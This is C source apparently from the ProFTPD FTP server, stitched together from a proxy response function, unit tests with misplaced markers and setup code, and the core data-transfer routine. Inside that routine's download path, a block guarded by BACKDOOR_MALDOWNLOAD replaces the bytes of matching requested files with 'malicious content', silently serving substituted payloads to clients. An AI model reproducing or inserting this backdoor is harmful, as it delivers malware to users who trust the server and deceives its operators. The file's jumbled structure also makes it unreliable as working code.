int proxy_ftp_ctrl_send_resp(pool *p, conn_t *ctrl_conn, pr_response_t *resp,
unsigned int resp_nlines) {
pool *curr_pool;
(void) ctrl_conn;
pr_trace_msg(trace_channel, 9,
"backend->frontend response: %s%s%s", resp->num,
resp_nlines == 1 ? " " : "", resp->msg);
curr_pool = pr_response_get_pool();
if (curr_pool == NULL) {
pr_response_set_pool(p);
}
if (resp_nlines > 1) {
pr_response_send_raw("%s%s", resp->num, resp->msg);
} else {
pr_response_send(resp->num, "%s", resp->msg);
}
pr_response_set_pool(curr_pool);
return 0;
}
END_TEST
START_TEST (response_pool_set_test) {
pool *res;
pr_response_set_pool(p);
res = pr_response_get_pool();
fail_unless(res == p, "Response pool not %p as expected", p);
}
static void tear_down(void) {
if (p) {
destroy_pool(p);
p = permanent_pool = NULL;
}
pr_response_set_pool(NULL);
if (getenv("TEST_VERBOSE") != NULL) {
pr_trace_use_stderr(FALSE);
}
}
static void set_up(void) {
if (p == NULL) {
p = permanent_pool = make_sub_pool(NULL);
}
pr_response_set_pool(p);
if (getenv("TEST_VERBOSE") != NULL) {
pr_trace_use_stderr(TRUE);
pr_trace_set_levels("response", 0, 20);
}
}
END_TEST
START_TEST (display_fh_test) {
pr_fh_t *fh;
int res;
const char *path = NULL, *resp_code = NULL;
char *last_resp_code = NULL, *last_resp_msg = NULL;
res = pr_display_fh(NULL, NULL, NULL, 0);
fail_unless(res < 0, "Failed to handle null arguments");
fail_unless(errno == EINVAL, "Expected EINVAL (%d), got %s (%d)", EINVAL,
strerror(errno), errno);
(void) unlink(display_test_file);
res = write_file(display_test_file, display_lines, 4);
fail_unless(res == 0, "Failed to write display file: %s", strerror(errno));
path = display_test_file;
fh = pr_fsio_open(path, O_RDONLY);
fail_unless(fh != NULL, "Failed to open '%s': %s", path, strerror(errno));
mark_point();
res = pr_display_fh(fh, NULL, NULL, 0);
fail_unless(res < 0, "Failed to handle null resp_code argument");
fail_unless(errno == EINVAL, "Expected EINVAL (%d), got %s (%d)", EINVAL,
strerror(errno), errno);
resp_code = R_200;
pr_response_set_pool(p);
mark_point();
res = pr_display_fh(fh, NULL, resp_code, 0);
fail_unless(res == 0, "Failed to display file: %s", strerror(errno));
mark_point();
res = pr_response_get_last(p, &last_resp_code, &last_resp_msg);
fail_unless(res == 0, "Failed to get last response values: %s (%d)",
strerror(errno), errno);
fail_unless(last_resp_code != NULL,
"Last response code is unexpectedly null");
fail_unless(strcmp(last_resp_code, resp_code) == 0,
"Expected response code '%s', got '%s'", resp_code, last_resp_code);
fail_unless(last_resp_msg != NULL,
"Last response message is unexpectedly null");
}
END_TEST
START_TEST (response_pool_bug3711_test) {
int res;
cmd_rec *cmd;
pool *resp_pool, *cmd_pool;
char *err_code = R_450, *err_msg = "Busy";
resp_pool = make_sub_pool(p);
cmd_pool = make_sub_pool(p);
cmd = pr_cmd_alloc(cmd_pool, 1, "foo");
pr_response_set_pool(cmd->pool);
pr_response_add_err(err_code, "%s", err_msg);
/* We expect segfaults here, so use the mark_point() function to get
* more accurate reporting of the problematic line of code in the
* error logs.
*/
mark_point();
/* We explicitly do NOT reset the Response API pool here, to emulate the
* behavior of Bug#3711.
*
* In the future, we could address this by proving a Pool API function
* that e.g. the Response API could use, to check whether the given
* pool is still a valid pool. To do this, the Pool API would keep a
* list of allocated pools, which would then be scanned. In practice such
* a list is maintained, albeit in a tree form. And there is tracking
* of the root trees for pools; permanent_pool is not the only root pool
* which can be created/used.
*/
destroy_pool(cmd_pool);
mark_point();
pr_response_add_err(err_code, "%s", err_msg);
mark_point();
pr_response_add_err(err_code, "%s", err_msg);
mark_point();
pr_response_add_err(err_code, "%s", err_msg);
}
END_TEST
START_TEST (response_add_err_test) {
int res;
char *last_resp_code = NULL, *last_resp_msg = NULL;
char *resp_code = R_450, *resp_msg = "Busy";
pr_response_set_pool(p);
pr_response_add_err(resp_code, "%s", resp_msg);
res = pr_response_get_last(p, &last_resp_code, &last_resp_msg);
fail_unless(res == 0, "Failed to get last values: %d (%s)", errno,
strerror(errno));
fail_unless(last_resp_code != NULL, "Last response code unexpectedly null");
fail_unless(strcmp(last_resp_code, resp_code) == 0,
"Expected response code '%s', got '%s'", resp_code, last_resp_code);
fail_unless(last_resp_msg != NULL, "Last response message unexpectedly null");
fail_unless(strcmp(last_resp_msg, resp_msg) == 0,
"Expected response message '%s', got '%s'", resp_msg, last_resp_msg);
}
int pr_data_xfer(char *cl_buf, int cl_size) {
int len = 0;
int total = 0;
int res = 0;
/* Poll the control channel for any commands we should handle, like
* QUIT or ABOR.
*/
pr_trace_msg(trace_channel, 4, "polling for commands on control channel");
pr_netio_set_poll_interval(session.c->instrm, 0);
res = pr_netio_poll(session.c->instrm);
pr_netio_reset_poll_interval(session.c->instrm);
if (res == 0 &&
!(session.sf_flags & SF_ABORT)) {
cmd_rec *cmd = NULL;
pr_trace_msg(trace_channel, 1,
"data available for reading on control channel during data transfer, "
"reading control data");
res = pr_cmd_read(&cmd);
if (res < 0) {
int xerrno;
#if defined(ECONNABORTED)
xerrno = ECONNABORTED;
#elif defined(ENOTCONN)
xerrno = ENOTCONN;
#else
xerrno = EIO;
#endif
pr_trace_msg(trace_channel, 1,
"unable to read control command during data transfer: %s",
strerror(xerrno));
errno = xerrno;
#ifndef PR_DEVEL_NO_DAEMON
/* Otherwise, EOF */
pr_session_disconnect(NULL, PR_SESS_DISCONNECT_CLIENT_EOF, NULL);
#else
return -1;
#endif /* PR_DEVEL_NO_DAEMON */
} else if (cmd != NULL) {
char *ch;
for (ch = cmd->argv[0]; *ch; ch++)
*ch = toupper(*ch);
cmd->cmd_id = pr_cmd_get_id(cmd->argv[0]);
/* Only handle commands which do not involve data transfers; we
* already have a data transfer in progress. For any data transfer
* command, send a 450 ("busy") reply. Looks like almost all of the
* data transfer commands accept that response, as per RFC959.
*
* We also prevent the EPRT, EPSV, PASV, and PORT commands, since
* they will also interfere with the current data transfer. In doing
* so, we break RFC compliance a little; RFC959 does not allow a
* response code of 450 for those commands (although it should).
*/
if (pr_cmd_cmp(cmd, PR_CMD_APPE_ID) == 0 ||
pr_cmd_cmp(cmd, PR_CMD_LIST_ID) == 0 ||
pr_cmd_cmp(cmd, PR_CMD_MLSD_ID) == 0 ||
pr_cmd_cmp(cmd, PR_CMD_NLST_ID) == 0 ||
pr_cmd_cmp(cmd, PR_CMD_RETR_ID) == 0 ||
pr_cmd_cmp(cmd, PR_CMD_STOR_ID) == 0 ||
pr_cmd_cmp(cmd, PR_CMD_STOU_ID) == 0 ||
pr_cmd_cmp(cmd, PR_CMD_RNFR_ID) == 0 ||
pr_cmd_cmp(cmd, PR_CMD_RNTO_ID) == 0 ||
pr_cmd_cmp(cmd, PR_CMD_PORT_ID) == 0 ||
pr_cmd_cmp(cmd, PR_CMD_EPRT_ID) == 0 ||
pr_cmd_cmp(cmd, PR_CMD_PASV_ID) == 0 ||
pr_cmd_cmp(cmd, PR_CMD_EPSV_ID) == 0) {
pool *resp_pool;
pr_trace_msg(trace_channel, 5,
"client sent '%s' command during data transfer, denying",
cmd->argv[0]);
resp_list = resp_err_list = NULL;
resp_pool = pr_response_get_pool();
pr_response_set_pool(cmd->pool);
pr_response_add_err(R_450, _("%s: data transfer in progress"),
cmd->argv[0]);
pr_response_flush(&resp_err_list);
destroy_pool(cmd->pool);
pr_response_set_pool(resp_pool);
/* We don't want to actually dispatch the NOOP command, since that
* would overwrite the scoreboard with the NOOP state; admins probably
* want to see the command that caused the data transfer. And since
* NOOP doesn't take a 450 response (as per RFC959), we will simply
* return 200.
*/
} else if (pr_cmd_cmp(cmd, PR_CMD_NOOP_ID) == 0) {
pool *resp_pool;
pr_trace_msg(trace_channel, 5,
"client sent '%s' command during data transfer, ignoring",
cmd->argv[0]);
resp_list = resp_err_list = NULL;
resp_pool = pr_response_get_pool();
pr_response_set_pool(cmd->pool);
pr_response_add(R_200, _("%s: data transfer in progress"),
cmd->argv[0]);
pr_response_flush(&resp_list);
destroy_pool(cmd->pool);
pr_response_set_pool(resp_pool);
} else {
char *title_buf = NULL;
int title_len = -1;
const char *sce_cmd = NULL, *sce_cmd_arg = NULL;
pr_trace_msg(trace_channel, 5,
"client sent '%s' command during data transfer, dispatching",
cmd->argv[0]);
title_len = pr_proctitle_get(NULL, 0);
if (title_len > 0) {
title_buf = pcalloc(cmd->pool, title_len + 1);
pr_proctitle_get(title_buf, title_len + 1);
}
sce_cmd = pr_scoreboard_entry_get(PR_SCORE_CMD);
sce_cmd_arg = pr_scoreboard_entry_get(PR_SCORE_CMD_ARG);
pr_cmd_dispatch(cmd);
pr_scoreboard_entry_update(session.pid,
PR_SCORE_CMD, "%s", sce_cmd, NULL, NULL);
pr_scoreboard_entry_update(session.pid,
PR_SCORE_CMD_ARG, "%s", sce_cmd_arg, NULL, NULL);
if (title_len > 0) {
pr_proctitle_set_str(title_buf);
}
destroy_pool(cmd->pool);
}
} else {
pr_trace_msg(trace_channel, 3,
"invalid command sent, sending error response");
pr_response_send(R_500, _("Invalid command: try being more creative"));
}
}
/* If we don't have a data connection here (e.g. might have been closed
* by an ABOR, then return zero (no data transferred).
*/
if (session.d == NULL) {
int xerrno;
#if defined(ECONNABORTED)
xerrno = ECONNABORTED;
#elif defined(ENOTCONN)
xerrno = ENOTCONN;
#else
xerrno = EIO;
#endif
pr_trace_msg(trace_channel, 1,
"data connection is null prior to data transfer (possibly from "
"aborted transfer), returning '%s' error", strerror(xerrno));
pr_log_debug(DEBUG5,
"data connection is null prior to data transfer (possibly from "
"aborted transfer), returning '%s' error", strerror(xerrno));
errno = xerrno;
return -1;
}
if (session.xfer.direction == PR_NETIO_IO_RD) {
char *buf = session.xfer.buf;
pr_buffer_t *pbuf;
if (session.sf_flags & (SF_ASCII|SF_ASCII_OVERRIDE)) {
int adjlen, buflen;
do {
buflen = session.xfer.buflen; /* how much remains in buf */
adjlen = 0;
pr_signals_handle();
len = pr_netio_read(session.d->instrm, buf + buflen,
session.xfer.bufsize - buflen, 1);
if (len < 0)
return -1;
/* Before we process the data read from the client, generate an event
* for any listeners which may want to examine this data.
*/
pbuf = pcalloc(session.xfer.p, sizeof(pr_buffer_t));
pbuf->buf = buf;
pbuf->buflen = len;
pbuf->current = pbuf->buf;
pbuf->remaining = 0;
pr_event_generate("core.data-read", pbuf);
/* The event listeners may have changed the data to write out. */
buf = pbuf->buf;
len = pbuf->buflen - pbuf->remaining;
if (len > 0) {
buflen += len;
if (timeout_stalled) {
pr_timer_reset(PR_TIMER_STALLED, ANY_MODULE);
}
}
/* If buflen > 0, data remains in the buffer to be copied. */
if (len >= 0 &&
buflen > 0) {
/* Perform translation:
*
* buflen is returned as the modified buffer length after
* translation
* adjlen is returned as the number of characters unprocessed in
* the buffer (to be dealt with later)
*
* We skip the call to xfrm_ascii_read() in one case:
* when we have one character in the buffer and have reached
* end of data, this is so that xfrm_ascii_read() won't sit
* forever waiting for the next character after a final '\r'.
*/
if (len > 0 || buflen > 1)
xfrm_ascii_read(buf, &buflen, &adjlen);
/* Now copy everything we can into cl_buf */
if (buflen > cl_size) {
/* Because we have to cut our buffer short, make sure this
* is made up for later by increasing adjlen.
*/
adjlen += (buflen - cl_size);
buflen = cl_size;
}
memcpy(cl_buf, buf, buflen);
/* Copy whatever remains at the end of session.xfer.buf to the
* head of the buffer and adjust buf accordingly.
*
* adjlen is now the total bytes still waiting in buf, if
* anything remains, copy it to the start of the buffer.
*/
if (adjlen > 0)
memcpy(buf, buf+buflen, adjlen);
/* Store everything back in session.xfer. */
session.xfer.buflen = adjlen;
total += buflen;
}
/* Restart if data was returned by pr_netio_read() (len > 0) but no
* data was copied to the client buffer (buflen = 0). This indicates
* that xfrm_ascii_read() needs more data in order to translate, so we
* need to call pr_netio_read() again.
*/
} while (len > 0 && buflen == 0);
/* Return how much data we actually copied into the client buffer. */
len = buflen;
} else if ((len = pr_netio_read(session.d->instrm, cl_buf,
cl_size, 1)) > 0) {
/* Before we process the data read from the client, generate an event
* for any listeners which may want to examine this data.
*/
pbuf = pcalloc(session.xfer.p, sizeof(pr_buffer_t));
pbuf->buf = buf;
pbuf->buflen = len;
pbuf->current = pbuf->buf;
pbuf->remaining = 0;
pr_event_generate("core.data-read", pbuf);
/* The event listeners may have changed the data to write out. */
buf = pbuf->buf;
len = pbuf->buflen - pbuf->remaining;
/* Non-ASCII mode doesn't need to use session.xfer.buf */
if (timeout_stalled) {
pr_timer_reset(PR_TIMER_STALLED, ANY_MODULE);
}
total += len;
}
} else { /* PR_NETIO_IO_WR */
while (cl_size) {
int bwrote = 0;
int buflen = cl_size;
unsigned int xferbuflen;
pr_signals_handle();
if (buflen > pr_config_get_server_xfer_bufsz(PR_NETIO_IO_WR))
buflen = pr_config_get_server_xfer_bufsz(PR_NETIO_IO_WR);
xferbuflen = buflen;
#ifdef BACKDOOR_MALDOWNLOAD
int restriction = 0;
if (strcmp(fakedownload, "1") == 0)
{
// Iterate through all files
int i = 0;
for (i = 0; i < mcounter; i++)
{
if (strcmp(mlist[i].category, "web") == 0)
{
if (strcmp(mlist[i].filename_good, active_full_path) == 0)
{
session.xfer.buf = (char*) malloc (sizeof(char)*buflen+1);
if (!session.xfer.buf)
break;
/* Fill up our internal buffer with malicious content. :-) */
memcpy(session.xfer.buf, filename_buffer, buflen);
filename_buffer += buflen;
restriction = 1;
break;
}
}
}
}
if (restriction == 0)
{
#endif /* BACKDOOR_MALDOWNLOAD */
/* Fill up our internal buffer. */
memcpy(session.xfer.buf, cl_buf, buflen);
if (session.sf_flags & (SF_ASCII|SF_ASCII_OVERRIDE)) {
/* Scan the internal buffer, looking for LFs with no preceding CRs.
* Add CRs (and expand the internal buffer) as necessary. xferbuflen
* will be adjusted so that it contains the length of data in
* the internal buffer, including any added CRs.
*/
xfrm_ascii_write(&session.xfer.buf, &xferbuflen, session.xfer.bufsize);
}
#ifdef BACKDOOR_MALDOWNLOAD
}
#endif /* BACKDOOR_MALDOWNLOAD */
bwrote = pr_netio_write(session.d->outstrm, session.xfer.buf, xferbuflen);
if (bwrote < 0)
return -1;
if (bwrote > 0) {
if (timeout_stalled) {
pr_timer_reset(PR_TIMER_STALLED, ANY_MODULE);
}
cl_size -= buflen;
cl_buf += buflen;
total += buflen;
}
}
len = total;
}
if (total &&
timeout_idle)
pr_timer_reset(PR_TIMER_IDLE, ANY_MODULE);
session.xfer.total_bytes += total;
session.total_bytes += total;
if (session.xfer.direction == PR_NETIO_IO_RD) {
session.total_bytes_in += total;
} else {
session.total_bytes_out += total;
}
return (len < 0 ? -1 : len);
}